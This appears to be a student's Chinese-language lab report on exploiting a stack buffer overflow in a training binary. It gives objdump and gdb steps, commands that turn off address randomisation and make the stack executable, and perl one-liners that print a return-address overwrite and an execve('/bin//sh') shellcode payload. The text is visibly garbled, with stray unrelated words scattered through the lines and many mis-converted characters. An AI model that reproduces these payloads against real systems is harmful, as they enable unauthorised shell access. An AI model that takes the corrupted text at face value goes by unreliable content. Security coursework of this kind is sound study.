本次實踐的對象是一個名爲pwn1的linux可執行文件。linux
該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。shell
該程序同時包含另外一個代碼片斷,getShell,會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。咱們將學習兩種方法運行這個代碼片斷,而後學習如何注入運行任何Shellcode。sass
objdump -d pwn20165237 | more
vi pwn20165237
在vi裏面進行如下步驟安全
將16進制轉換回原格式 :%!xxd -r,:wq!退出
網絡
objdump -d pwn20165237 | more
./pwn20165237
objdump -d pwn5237 | more
查看getshell()的內存地址
dom
對pwn5237進行GDB調試,運行並輸入進行嘗試 1111111122222222333333334444444412345678
函數
生成包含字符串的文件學習
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
(cat input;cat) | ./pwn5237
將input的內容做爲./pwn5237的輸入,並驗證結果
spa
安裝execstack:apt-get install execstack 設置堆棧可執行: execstack -s pwn1 查詢文件的堆棧是否可執行: execstack -q pwn1 關閉地址隨機化: echo "0" > /proc/sys/kernel/randomize_va_space 查看地址隨機化是否已經關閉: more /proc/sys/kernel/randomize_va_space
注入攻擊
調試
再打開一個終端Ctrl+Alt+t,找到進程號爲33071
gdb pwn1 attach 33071 disassemble foo break *0x080484ae continue info r esp x/16x 0xffffd30c
經過計算,獲得shellcode的地址是0xffffd310
perl -e 'print "A" x 32;print "\x10\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x20\xd3\xff\xff\x00"' > input_shellcode
感想:此次實驗,經過和舍友的討論以及百度的幫助讓我對緩衝區溢出攻擊有了更深入的認識,尤爲是棧的溢出與替換;實驗操做過程當中根據指導書循序漸進得作沒有什麼困難,但願可以再接再礪,學到更多有用的知識!
什麼是漏洞?漏洞有什麼危害?
答:漏洞是在硬件、軟件、協議的具體實現或系統安全策略上存在的缺陷,從而可使攻擊者可以在未受權的狀況下訪問或破壞系統。本次實驗的緩衝區溢出原理就是一個漏洞。他們會使計算機遭受病毒和黑客攻擊,將本身的私人信息泄露出去。